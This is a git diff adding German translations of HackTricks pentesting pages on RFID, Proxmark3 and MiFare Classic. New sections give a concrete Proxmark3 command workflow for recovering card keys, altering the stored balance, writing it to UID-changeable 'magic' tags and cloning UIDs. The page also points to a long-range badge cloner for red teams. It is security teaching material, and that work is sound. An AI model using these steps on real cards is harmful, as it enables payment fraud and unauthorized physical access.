Translated ['src/todo/radio-hacking/proxmark-3.md', 'src/todo/radio-hack

This commit is contained in:
Translator 2025-09-29 12:53:58 +00:00
parent b3ebc73c5a
commit 11a2f9ce56
2 changed files with 136 additions and 52 deletions

View File

@ -4,84 +4,84 @@
## Einführung
**Radio Frequency Identification (RFID)** ist die beliebteste Kurzstrecken-Radio-Lösung. Sie wird normalerweise verwendet, um Informationen zu speichern und zu übertragen, die eine Entität identifizieren.
**Radiofrequenz-Identifikation (RFID)** ist die verbreitetste Kurzstrecken-Funklösung. Sie wird üblicherweise verwendet, um Informationen zu speichern und zu übertragen, die eine Entität identifizieren.
Ein RFID-Tag kann auf **seine eigene Stromquelle (aktiv)**, wie eine eingebaute Batterie, angewiesen sein oder seine Energie von der Lesantenne über den **induzierten Strom aus den empfangenen Radiowellen** beziehen (**passiv**).
Ein RFID-Tag kann auf **eine eigene Stromquelle (active)** angewiesen sein, wie etwa eine eingebaute Batterie, oder seine Energie von der Lesegeräte-Antenne über den aus den empfangenen Funkwellen **induzierten Strom** beziehen (**passive**).
### Klassen
EPCglobal unterteilt RFID-Tags in sechs Kategorien. Ein Tag in jeder Kategorie hat alle Fähigkeiten, die in der vorherigen Kategorie aufgeführt sind, was es rückwärtskompatibel macht.
EPCglobal unterteilt RFID-Tags in sechs Kategorien. Ein Tag in jeder Kategorie besitzt alle Fähigkeiten der vorherigen Kategorie und ist damit abwärtskompatibel.
- **Klasse 0**-Tags sind **passive** Tags, die in **UHF**-Bändern arbeiten. Der Anbieter **programmiert** sie bereits in der Produktionsfabrik. Daher **kannst du** die in ihrem Speicher gespeicherten Informationen **nicht ändern**.
- **Klasse 1**-Tags können ebenfalls in **HF**-Bändern arbeiten. Darüber hinaus können sie **nur einmal** nach der Produktion **beschrieben** werden. Viele Klasse 1-Tags können auch **zyklische Redundanzprüfungen** (CRCs) der empfangenen Befehle verarbeiten. CRCs sind einige zusätzliche Bytes am Ende der Befehle zur Fehlererkennung.
- **Klasse 2**-Tags können **mehrmals beschrieben** werden.
- **Klasse 3**-Tags können **eingebettete Sensoren** enthalten, die Umweltparameter wie die aktuelle Temperatur oder die Bewegung des Tags aufzeichnen können. Diese Tags sind **semi-passiv**, da sie zwar eine eingebaute Stromquelle, wie eine integrierte **Batterie**, **haben**, aber **keine** drahtlose **Kommunikation** mit anderen Tags oder Lesegeräten **initiieren können**.
- **Klasse 4**-Tags können die Kommunikation mit anderen Tags derselben Klasse initiieren, wodurch sie zu **aktiven Tags** werden.
- **Klasse 5**-Tags können **Strom an andere Tags liefern und mit allen vorherigen Tag**-Klassen kommunizieren. Klasse 5-Tags können als **RFID-Leser** fungieren.
- **Class 0** Tags sind **passive** Tags, die in **UHF**-Bändern arbeiten. Der Hersteller **programmiert** sie im Werk vor. Daher **kann man die** in ihrem Speicher gespeicherten Informationen **nicht ändern**.
- **Class 1** Tags können auch in **HF**-Bändern arbeiten. Zusätzlich können sie **nur einmal** nach der Produktion beschrieben werden. Viele Class 1 Tags können außerdem **zyklische Redundanzprüfungen** (CRCs) der empfangenen Befehle verarbeiten. CRCs sind ein paar zusätzliche Bytes am Ende der Befehle zur Fehlererkennung.
- **Class 2** Tags können **mehrfach beschrieben** werden.
- **Class 3** Tags können **eingebettete Sensoren** enthalten, die Umweltparameter aufzeichnen können, wie z. B. die aktuelle Temperatur oder die Bewegung des Tags. Diese Tags sind **semi-passive**, da sie zwar über eine eingebaute Stromquelle wie eine integrierte **Batterie** verfügen, sie aber **keine drahtlose Kommunikation** mit anderen Tags oder Lesegeräten **initiieren können**.
- **Class 4** Tags können die Kommunikation mit anderen Tags derselben Klasse initiieren, wodurch sie zu **active tags** werden.
- **Class 5** Tags können **anderen Tags Energie liefern und mit allen vorherigen Klassen kommunizieren**. Class 5 Tags können als **RFID readers** fungieren.
### Informationen, die in RFID-Tags gespeichert sind
### In RFID-Tags gespeicherte Informationen
Der Speicher eines RFID-Tags speichert normalerweise vier Arten von Daten: die **Identifikationsdaten**, die die **Entität** identifizieren, an die das Tag angehängt ist (diese Daten umfassen benutzerdefinierte Felder wie Bankkonten); die **zusätzlichen Daten**, die **weitere** **Details** zur Entität bereitstellen; die **Steuerdaten**, die für die interne **Konfiguration** des Tags verwendet werden; und die **Herstellerdaten** des Tags, die die eindeutige Kennung des Tags (**UID**) und Details zur **Produktion**, **Typ** und **Anbieter** des Tags enthalten. Die ersten beiden Datenarten findest du in allen kommerziellen Tags; die letzten beiden können je nach Anbieter des Tags variieren.
Der Speicher eines RFID-Tags enthält üblicherweise vier Arten von Daten: die **identification data**, die die **Entität** identifiziert, an die das Tag angebracht ist (diese Daten schließen benutzerdefinierte Felder wie Bankkonten ein); die **supplementary data**, die **weitere** **Details** zur Entität liefert; die **control data**, die für die interne **Konfiguration** des Tags verwendet wird; und die **manufacturer data** des Tags, die die eindeutige Kennung (**UID**) und Details zur **Produktion**, zum **Typ** und zum **Vendor** des Tags enthält. Die ersten beiden Datentypen findet man in allen kommerziellen Tags; die letzten beiden können je nach Vendor des Tags variieren.
Der ISO-Standard legt den Wert des Application Family Identifier (**AFI**) fest, einen Code, der die **Art des Objekts** angibt, zu dem das Tag gehört. Ein weiteres wichtiges Register, das ebenfalls von ISO festgelegt wird, ist der Data Storage Format Identifier (**DSFID**), der die **logische Organisation der Benutzerdaten** definiert.
Die ISO-Norm spezifiziert den Application Family Identifier (**AFI**) Wert, einen Code, der die **Art des Objekts** angibt, zu dem das Tag gehört. Ein weiteres wichtiges Register, ebenfalls von ISO spezifiziert, ist der Data Storage Format Identifier(**DSFID**), der die **logische Organisation der Nutzerdaten** definiert.
Die meisten RFID-**Sicherheitskontrollen** verfügen über Mechanismen, die die **Lese**- oder **Schreib**-Operationen auf jedem Benutzerspeicherblock und auf den speziellen Registern, die die AFI- und DSFID-Werte enthalten, **einschränken**. Diese **Sperr**-**mechanismen** verwenden Daten, die im Steuerungsspeicher gespeichert sind, und haben **vorkonfigurierte Standardpasswörter** des Anbieters, erlauben es den Tag-Besitzern jedoch, **benutzerdefinierte Passwörter** zu **konfigurieren**.
Die meisten RFID-Sicherheitsmechanismen verfügen über Verfahren, die die Lese- oder Schreiboperationen auf jeden Benutzer-Speicherblock und auf die speziellen Register, die AFI- und DSFID-Werte enthalten, einschränken. Diese **Sperrmechanismen** verwenden Daten, die im Kontrollspeicher gespeichert sind, und enthalten vom Hersteller vorkonfigurierte Standardpasswörter, erlauben es aber den Tag-Besitzern, benutzerdefinierte Passwörter zu konfigurieren.
### Vergleich von Low- und High-Frequency-Tags
### Vergleich Nieder- & Hochfrequenz-Tags
<figure><img src="../../images/image (983).png" alt=""><figcaption></figcaption></figure>
## Low-Frequency RFID Tags (125kHz)
## Niederfrequente RFID-Tags (125kHz)
**Niedrigfrequente Tags** werden häufig in Systemen verwendet, die **keine hohe Sicherheit** erfordern: Gebäudezugang, Gegensprechanlagen, Fitnessstudio-Mitgliedskarten usw. Aufgrund ihrer höheren Reichweite sind sie praktisch für kostenpflichtige Parkplätze: Der Fahrer muss die Karte nicht nah an den Leser bringen, da sie aus größerer Entfernung aktiviert wird. Gleichzeitig sind niedrigfrequente Tags sehr primitiv und haben eine niedrige Datenübertragungsrate. Aus diesem Grund ist es unmöglich, komplexe bidirektionale Datenübertragungen für Dinge wie Kontostände und Kryptografie zu implementieren. Niedrigfrequente Tags übertragen nur ihre kurze ID ohne Authentifizierungsmöglichkeiten.
**Niederfrequente Tags** werden oft in Systemen eingesetzt, die **keine hohe Sicherheit** erfordern: Gebäudezugang, Sprechanlagen-Schlüssel, Fitnessstudio-Mitgliedskarten usw. Aufgrund ihrer größeren Reichweite eignen sie sich gut für bezahlte Parkplätze: Der Fahrer muss die Karte nicht nah an den Leser halten, da sie aus größerer Entfernung ausgelöst wird. Gleichzeitig sind niederfrequente Tags sehr primitiv und haben eine geringe Datenübertragungsrate. Aus diesem Grund ist es unmöglich, komplexe bidirektionale Datenübertragungen für Dinge wie Guthabenverwaltung und Kryptographie zu implementieren. Niederfrequente Tags übertragen nur ihre kurze ID ohne irgendeine Authentifizierung.
Diese Geräte basieren auf **passiver** **RFID**-Technologie und arbeiten in einem **Bereich von 30 kHz bis 300 kHz**, obwohl es üblicher ist, 125 kHz bis 134 kHz zu verwenden:
Diese Geräte basieren auf **passiver RFID**-Technologie und arbeiten in einem **Frequenzbereich von 30 kHz bis 300 kHz**, üblicherweise aber zwischen 125 kHz und 134 kHz:
- **Lange Reichweite** — niedrigere Frequenz bedeutet höhere Reichweite. Es gibt einige EM-Marin- und HID-Leser, die aus einer Entfernung von bis zu einem Meter arbeiten. Diese werden häufig in Parkhäusern verwendet.
- **Primitives Protokoll** — aufgrund der niedrigen Datenübertragungsrate können diese Tags nur ihre kurze ID übertragen. In den meisten Fällen sind die Daten nicht authentifiziert und nicht geschützt. Sobald die Karte im Bereich des Lesers ist, beginnt sie einfach, ihre ID zu übertragen.
- **Niedrige Sicherheit** — Diese Karten können leicht kopiert oder sogar aus der Tasche eines anderen gelesen werden, aufgrund der Primitivität des Protokolls.
- **Long Range** — niedrigere Frequenz bedeutet größere Reichweite. Es gibt einige EM-Marin- und HID-Leser, die aus einer Entfernung von bis zu einem Meter funktionieren. Diese werden oft in Parkhäusern eingesetzt.
- **Primitives Protokoll** — aufgrund der niedrigen Datenrate können diese Tags nur ihre kurze ID übertragen. In den meisten Fällen sind die Daten nicht authentifiziert und nicht geschützt. Sobald sich die Karte im Lesebereich befindet, beginnt sie einfach, ihre ID zu übertragen.
- **Geringe Sicherheit** — Diese Karten können leicht kopiert oder aufgrund der Primitivität des Protokolls sogar aus der Tasche einer anderen Person ausgelesen werden.
**Beliebte 125 kHz-Protokolle:**
Beliebte 125 kHz Protokolle:
- **EM-Marin** — EM4100, EM4102. Das beliebteste Protokoll in der GUS. Kann aufgrund seiner Einfachheit und Stabilität aus etwa einem Meter gelesen werden.
- **HID Prox II**Niedrigfrequenzprotokoll, das von HID Global eingeführt wurde. Dieses Protokoll ist in den westlichen Ländern beliebter. Es ist komplexer und die Karten und Leser für dieses Protokoll sind relativ teuer.
- **Indala** — sehr altes Niedrigfrequenzprotokoll, das von Motorola eingeführt und später von HID übernommen wurde. Du wirst es im Vergleich zu den vorherigen beiden weniger wahrscheinlich in freier Wildbahn antreffen, da es aus der Nutzung fällt.
- **EM-Marin** — EM4100, EM4102. Das populärste Protokoll in der CIS-Region. Kann aufgrund seiner Einfachheit und Stabilität aus etwa einem Meter Entfernung gelesen werden.
- **HID Prox II**niederfrequentes Protokoll von HID Global. Dieses Protokoll ist in westlichen Ländern populärer. Es ist komplexer und die Karten und Leser für dieses Protokoll sind relativ teuer.
- **Indala** — sehr altes niederfrequentes Protokoll, ursprünglich von Motorola eingeführt und später von HID übernommen. Man trifft es in freier Wildbahn seltener an als die beiden vorherigen, da es aus der Nutzung verschwindet.
In Wirklichkeit gibt es viele weitere Niedrigfrequenzprotokolle. Aber sie alle verwenden die gleiche Modulation auf der physikalischen Ebene und können in einer oder anderen Weise als Variation der oben genannten betrachtet werden.
In der Realität existieren viele weitere niederfrequente Protokolle. Aber sie alle verwenden dieselbe Modulation auf der physikalischen Schicht und können in gewisser Weise als Varianten der oben genannten betrachtet werden.
### Angriff
Du kannst **diese Tags mit dem Flipper Zero angreifen**:
Du kannst diese Tags mit dem Flipper Zero angreifen:
{{#ref}}
flipper-zero/fz-125khz-rfid.md
{{#endref}}
## High-Frequency RFID Tags (13.56 MHz)
## Hochfrequente RFID-Tags (13.56 MHz)
**Hochfrequente Tags** werden für eine komplexere Interaktion zwischen Leser und Tag verwendet, wenn du Kryptografie, einen großen bidirektionalen Datentransfer, Authentifizierung usw. benötigst.\
Sie sind normalerweise in Bankkarten, öffentlichen Verkehrsmitteln und anderen sicheren Pässen zu finden.
**Hochfrequente Tags** werden eingesetzt, wenn eine komplexere Leser-Tag-Interaktion erforderlich ist — z. B. für Kryptographie, umfangreiche bidirektionale Datenübertragung, Authentifizierung usw.\
Man findet sie üblicherweise in Bankkarten, im öffentlichen Nahverkehr und in anderen sicheren Zutrittslösungen.
**Hochfrequente 13.56 MHz-Tags sind eine Reihe von Standards und Protokollen**. Sie werden normalerweise als [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) bezeichnet, aber das ist nicht immer korrekt. Das grundlegende Protokollset, das auf physikalischer und logischer Ebene verwendet wird, ist ISO 14443. Hochlevelprotokolle sowie alternative Standards (wie ISO 19092) basieren darauf. Viele Menschen beziehen sich auf diese Technologie als **Near Field Communication (NFC)**, einen Begriff für Geräte, die über die Frequenz von 13.56 MHz arbeiten.
**Hochfrequente 13.56 MHz Tags sind ein Bündel von Standards und Protokollen**. Sie werden oft als [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) bezeichnet, was nicht immer korrekt ist. Das grundlegende Protokoll-Set auf physikalischer und logischer Ebene ist ISO 14443. Höhere Protokollebenen sowie alternative Standards (wie ISO 19092) basieren darauf. Viele Leute sprechen von dieser Technologie als **Near Field Communication (NFC)**, einem Begriff für Geräte, die auf der Frequenz 13.56 MHz arbeiten.
<figure><img src="../../images/image (930).png" alt=""><figcaption></figcaption></figure>
Einfach gesagt funktioniert die Architektur von NFC so: Das Übertragungsprotokoll wird von dem Unternehmen gewählt, das die Karten herstellt, und basiert auf dem Low-Level-ISO 14443. Zum Beispiel erfand NXP sein eigenes Hochlevel-Übertragungsprotokoll namens Mifare. Aber auf der unteren Ebene basieren Mifare-Karten auf dem ISO 14443-A-Standard.
Vereinfacht funktioniert NFC-Architektur so: Das Übertragungsprotokoll wird vom Kartenhersteller gewählt und basierend auf der low-level ISO 14443 implementiert. Zum Beispiel hat NXP sein eigenes High-Level-Übertragungsprotokoll namens Mifare erfunden. Auf der unteren Ebene basieren Mifare-Karten jedoch auf dem ISO 14443-A Standard.
Flipper kann sowohl mit dem Low-Level-ISO 14443-Protokoll als auch mit dem Mifare Ultralight-Datenübertragungsprotokoll und EMV, das in Bankkarten verwendet wird, interagieren. Wir arbeiten daran, die Unterstützung für Mifare Classic und NFC NDEF hinzuzufügen. Ein gründlicher Blick auf die Protokolle und Standards, die NFC ausmachen, wäre einen separaten Artikel wert, den wir später veröffentlichen möchten.
Flipper kann sowohl mit dem low-level ISO 14443 Protokoll interagieren als auch mit dem Mifare Ultralight Datenübertragungsprotokoll und EMV, das in Bankkarten verwendet wird. Wir arbeiten daran, Unterstützung für Mifare Classic und NFC NDEF hinzuzufügen. Ein detaillierter Blick auf die Protokolle und Standards, die NFC ausmachen, wäre einen eigenen Artikel wert, den wir später veröffentlichen wollen.
Alle hochfrequenten Karten, die auf dem ISO 14443-A-Standard basieren, haben eine eindeutige Chip-ID. Sie fungiert als die Seriennummer der Karte, ähnlich der MAC-Adresse einer Netzwerkkarte. **In der Regel ist die UID 4 oder 7 Bytes lang**, kann aber selten **bis zu 10** gehen. UIDs sind kein Geheimnis und leicht lesbar, **manchmal sogar auf der Karte selbst gedruckt**.
Alle hochfrequenten Karten, die auf dem ISO 14443-A Standard basieren, haben eine eindeutige Chip-ID. Sie fungiert als Seriennummer der Karte, ähnlich der MAC-Adresse einer Netzwerkkarte. **In der Regel ist die UID 4 oder 7 Byte lang**, kann aber selten **bis zu 10** Byte betragen. UIDs sind kein Geheimnis und lassen sich leicht auslesen, **manchmal sogar direkt auf der Karte aufgedruckt**.
Es gibt viele Zugangskontrollsysteme, die sich auf die UID stützen, um **zu authentifizieren und Zugang zu gewähren**. Manchmal geschieht dies **sogar**, wenn RFID-Tags **Kryptografie unterstützen**. Solche **Missbräuche** bringen sie in Bezug auf **Sicherheit** auf das Niveau der dummen **125 kHz-Karten**. Virtuelle Karten (wie Apple Pay) verwenden eine dynamische UID, damit die Besitzer des Telefons nicht mit ihrer Zahlungs-App Türen öffnen können.
Viele Zutrittskontrollsysteme verlassen sich auf die UID zur **Authentifizierung und zur Gewährung von Zugang**. Manchmal geschieht dies **selbst dann**, wenn RFID-Tags **Kryptographie unterstützen**. Eine solche **Fehlanwendung** reduziert sie in puncto **Sicherheit** auf das Niveau der einfachen **125 kHz Karten**. Virtuelle Karten (wie Apple Pay) verwenden eine dynamische UID, sodass Telefonbesitzer nicht mit ihrer Zahlungs-App Türen öffnen können.
- **Kurze Reichweite** — hochfrequente Karten sind speziell so konzipiert, dass sie nah am Leser platziert werden müssen. Dies hilft auch, die Karte vor unbefugten Interaktionen zu schützen. Die maximale Leseentfernung, die wir erreicht haben, betrug etwa 15 cm, und das war mit speziell angefertigten Hochreichweitenlesern.
- **Fortgeschrittene Protokolle** — Datenübertragungsgeschwindigkeiten von bis zu 424 kbps ermöglichen komplexe Protokolle mit vollwertigem bidirektionalem Datentransfer. Was wiederum **Kryptografie**, Datenübertragung usw. **ermöglicht**.
- **Hohe Sicherheit** — hochfrequente kontaktlose Karten sind in keiner Weise den Smartcards unterlegen. Es gibt Karten, die kryptografisch starke Algorithmen wie AES unterstützen und asymmetrische Kryptografie implementieren.
- **Kurze Reichweite** — hochfrequente Karten sind so ausgelegt, dass sie nahe am Leser platziert werden müssen. Das schützt die Karte zusätzlich vor unbefugten Interaktionen. Die maximale Lesereichweite, die wir erreicht haben, betrug etwa 15 cm — und das mit maßgefertigten High-Range-Lesern.
- **Fortgeschrittene Protokolle** — Datenübertragungsraten bis zu 424 kbps erlauben komplexe Protokolle mit vollständiger bidirektionaler Datenübertragung. Das **ermöglicht Kryptographie**, Datenübertragung usw.
- **Hohe Sicherheit** — hochfrequente kontaktlose Karten sind Smartcards in nichts nachstehend. Es gibt Karten, die kryptographisch starke Algorithmen wie AES unterstützen und asymmetrische Kryptographie implementieren.
### Angriff
Du kannst **diese Tags mit dem Flipper Zero angreifen**:
Du kannst diese Tags mit dem Flipper Zero angreifen:
{{#ref}}
@ -95,9 +95,55 @@ Oder mit dem **proxmark**:
proxmark-3.md
{{#endref}}
### Bau eines tragbaren HID MaxiProx 125 kHz Mobilklon
### MiFare Classic Offline-Manipulation gespeicherter Guthaben (broken Crypto1)
Wenn du eine **langreichweitige**, **batteriebetriebene** Lösung zum Ernten von HID Prox®-Abzeichen während Red-Team-Einsätzen benötigst, kannst du den wandmontierten **HID MaxiProx 5375**-Leser in einen eigenständigen Klon umwandeln, der in einen Rucksack passt. Die vollständige mechanische und elektrische Anleitung ist hier verfügbar:
Wenn ein System ein Geldguthaben direkt auf einer MiFare Classic-Karte speichert, kann man es häufig manipulieren, da Classic NXPs veralteten Crypto1-Cipher verwendet. Crypto1 ist seit Jahren gebrochen, wodurch die Wiederherstellung von Sektor-Schlüsseln und das vollständige Lesen/Schreiben des Karten-Speichers mit handelsüblicher Hardware (z. B. Proxmark3) möglich ist.
End-to-end-Workflow (abstrahiert):
1) Karte auslesen (Dump) und Schlüssel rekonstruieren
```bash
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn
```
Dies stellt typischerweise die sector keys (A/B) wieder her und erzeugt einen full-card dump im client dumps folder.
2) Lokalisieren und Verstehen der value/integrity fields
- Führe legitime top-ups auf der Originalkarte durch und erstelle mehrere dumps (vor/nach).
- Führe einen diff der beiden dumps durch, um die sich ändernden blocks/bytes zu identifizieren, die den balance und etwaige integrity fields repräsentieren.
- Viele Classic-Deployments verwenden entweder die native "value block"-Kodierung oder implementieren eigene checksums (z. B. XOR des balance mit einem anderen Feld und einer Konstanten). Nach Änderung des balance müssen die integrity bytes entsprechend neu berechnet werden und alle duplicated/complemented fields konsistent sein.
3) Schreibe den modifizierten dump auf einen beschreibbaren “Chinese magic” Classic tag
```bash
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
```
4) Klone die originale UID, damit Terminals die Karte erkennen
```bash
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
```
5) Einsatz an Terminals
Lesegeräte, die dem auf der Karte gespeicherten Guthaben und der UID vertrauen, akzeptieren die manipulierte Karte. Feldbeobachtungen zeigen, dass viele Installationen Guthaben basierend auf der Feldbreite begrenzen (z. B. 16-Bit Festkomma).
Hinweise
- Wenn das System native Classic value blocks verwendet, merke dir das Format: value (4B) + ~value (4B) + value (4B) + block address + ~address. Alle Teile müssen übereinstimmen.
- Bei benutzerdefinierten Formaten mit einfachen Checksummen ist Differentialanalyse der schnellste Weg, die Integritätsfunktion abzuleiten, ohne die Firmware zu reverse-engineeren.
- Nur UID-änderbare Tags ("Chinese magic" gen1a/gen2) erlauben das Schreiben von block 0/UID. Normale Classic-Karten haben schreibgeschützte UIDs.
Für praktische Proxmark3-Befehle siehe:
{{#ref}}
proxmark-3.md
{{#endref}}
### Bau eines tragbaren HID MaxiProx 125 kHz Mobile Cloners
Wenn Sie eine **mit großer Reichweite**, **batteriebetriebene** Lösung zum Sammeln von HID Prox® Badges bei Red-Team-Einsätzen benötigen, können Sie das wandmontierte **HID MaxiProx 5375** Lesegerät in einen eigenständigen Cloner umbauen, der in einen Rucksack passt. Die vollständige mechanische und elektrische Schritt-für-Schritt-Anleitung ist hier verfügbar:
{{#ref}}
@ -110,5 +156,8 @@ maxiprox-mobile-cloner.md
- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
- [Let's Clone a Cloner Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Angreifen von RFID-Systemen mit Proxmark3
## Angriff auf RFID-Systeme mit Proxmark3
Das erste, was Sie tun müssen, ist, einen [**Proxmark3**](https://proxmark.com) zu haben und [**die Software und ihre Abhängigkeiten zu installieren**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
Das Erste, was du brauchst, ist ein [**Proxmark3**](https://proxmark.com) und [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
### Angreifen von MIFARE Classic 1KB
### Attacking MIFARE Classic 1KB
Es hat **16 Sektoren**, jeder von ihnen hat **4 Blöcke** und jeder Block enthält **16B**. Die UID befindet sich im Sektor 0 Block 0 (und kann nicht geändert werden).\
Um auf jeden Sektor zuzugreifen, benötigen Sie **2 Schlüssel** (**A** und **B**), die in **Block 3 jedes Sektors** gespeichert sind (Sektortrailer). Der Sektortrailer speichert auch die **Zugriffsbits**, die die **Lese- und Schreib**berechtigungen für **jeden Block** mit den 2 Schlüsseln geben.\
2 Schlüssel sind nützlich, um Berechtigungen zum Lesen zu geben, wenn Sie den ersten kennen, und zum Schreiben, wenn Sie den zweiten kennen (zum Beispiel).
Es hat **16 sectors**, jeder davon hat **4 blocks** und jeder Block enthält **16B**. Die UID ist in sector 0 block 0 (und kann nicht verändert werden).\
Um auf jeden Sektor zuzugreifen benötigst du **2 keys** (**A** und **B**), die in **block 3 of each sector** (sector trailer) gespeichert sind. Der sector trailer speichert auch die **access bits**, die die **read and write**-Berechtigungen auf **each block** mittels der 2 keys vergeben.\
2 keys sind nützlich, um z.B. Leserechte zu geben, wenn man den ersten kennt, und Schreibrechte, wenn man den zweiten kennt (zum Beispiel).
Es können mehrere Angriffe durchgeführt werden
Mehrere attacks können durchgeführt werden
```bash
proxmark3> hf mf #List attacks
@ -31,11 +31,39 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
Der Proxmark3 ermöglicht es, andere Aktionen wie das **Abhören** einer **Tag-zu-Reader-Kommunikation** durchzuführen, um zu versuchen, sensible Daten zu finden. In dieser Karte könnten Sie einfach die Kommunikation sniffen und den verwendeten Schlüssel berechnen, da die **verwendeten kryptografischen Operationen schwach sind** und Sie mit dem Klartext und dem Chiffretext diesen berechnen können (`mfkey64` Tool).
Der Proxmark3 ermöglicht weitere Aktionen wie **eavesdropping** einer **Tag to Reader communication**, um nach sensiblen Daten zu suchen. Bei dieser Karte könntest du einfach die Kommunikation sniffen und den verwendeten Schlüssel berechnen, weil die **verwendeten kryptographischen Operationen schwach sind** und wenn man Klar- und Chiffretext kennt, kann man ihn berechnen (`mfkey64` Tool).
#### MiFare Classic schneller Ablauf für stored-value abuse
Wenn Terminals Guthaben auf Classic-Karten speichern, ist ein typischer End-to-End-Ablauf:
```bash
# 1) Recover sector keys and dump full card
proxmark3> hf mf autopwn
# 2) Modify dump offline (adjust balance + integrity bytes)
# Use diffing of before/after top-up dumps to locate fields
# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
proxmark3> hf mf cload -f modified.bin
# 4) Clone original UID so readers recognize the card
proxmark3> hf mf csetuid -u <original_uid>
```
Hinweise
- `hf mf autopwn` orchestriert nested/darkside/HardNested-style attacks, stellt keys wieder her und erstellt dumps im client dumps folder.
- Das Schreiben von block 0/UID funktioniert nur auf magic gen1a/gen2 Karten. Normale Classic-Karten haben eine read-only UID.
- Viele Deployments verwenden Classic "value blocks" oder einfache Checksummen. Stelle sicher, dass alle duplizierten/komplementierten Felder und Checksummen nach der Bearbeitung konsistent sind.
Siehe eine Methodik auf höherer Ebene und Gegenmaßnahmen in:
{{#ref}}
pentesting-rfid.md
{{#endref}}
### Rohbefehle
IoT-Systeme verwenden manchmal **nicht markierte oder nicht kommerzielle Tags**. In diesem Fall können Sie Proxmark3 verwenden, um benutzerdefinierte **Rohbefehle an die Tags** zu senden.
IoT-Systeme verwenden manchmal **nonbranded or noncommercial tags**. In diesem Fall kannst du Proxmark3 verwenden, um benutzerdefinierte **raw commands to the tags** zu senden.
```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
@ -45,14 +73,21 @@ No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
```
Mit diesen Informationen könnten Sie versuchen, Informationen über die Karte und die Art der Kommunikation mit ihr zu suchen. Proxmark3 ermöglicht das Senden von Rohbefehlen wie: `hf 14a raw -p -b 7 26`
Mit diesen Informationen kannst du versuchen, Informationen über die Karte und darüber zu recherchieren, wie man mit ihr kommuniziert. Proxmark3 erlaubt das Senden von Rohbefehlen wie: `hf 14a raw -p -b 7 26`
### Skripte
Die Proxmark3-Software wird mit einer vorinstallierten Liste von **Automatisierungsskripten** geliefert, die Sie verwenden können, um einfache Aufgaben auszuführen. Um die vollständige Liste abzurufen, verwenden Sie den Befehl `script list`. Verwenden Sie anschließend den Befehl `script run`, gefolgt vom Namen des Skripts:
Die Proxmark3-Software wird mit einer vorinstallierten Liste von **Automationsskripten** geliefert, die du verwenden kannst, um einfache Aufgaben auszuführen. Um die vollständige Liste abzurufen, verwende den Befehl `script list`. Danach nutze den Befehl `script run`, gefolgt vom Namen des Skripts:
```
proxmark3> script run mfkeys
```
Sie können ein Skript erstellen, um **Tag-Leser** zu **fuzzern**, indem Sie die Daten einer **gültigen Karte** kopieren. Schreiben Sie einfach ein **Lua-Skript**, das ein oder mehrere zufällige **Bytes** **randomisiert** und überprüft, ob der **Leser bei einer Iteration abstürzt**.
Du kannst ein Skript erstellen, um **fuzz tag readers** zu testen: Kopiere die Daten einer **valid card** und schreibe ein **Lua script**, das ein oder mehrere zufällige **bytes** randomize und überprüft, ob der **reader crashes** bei irgendeiner Iteration.
## Referenzen
- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare)
- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards)
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
{{#include ../../banners/hacktricks-training.md}}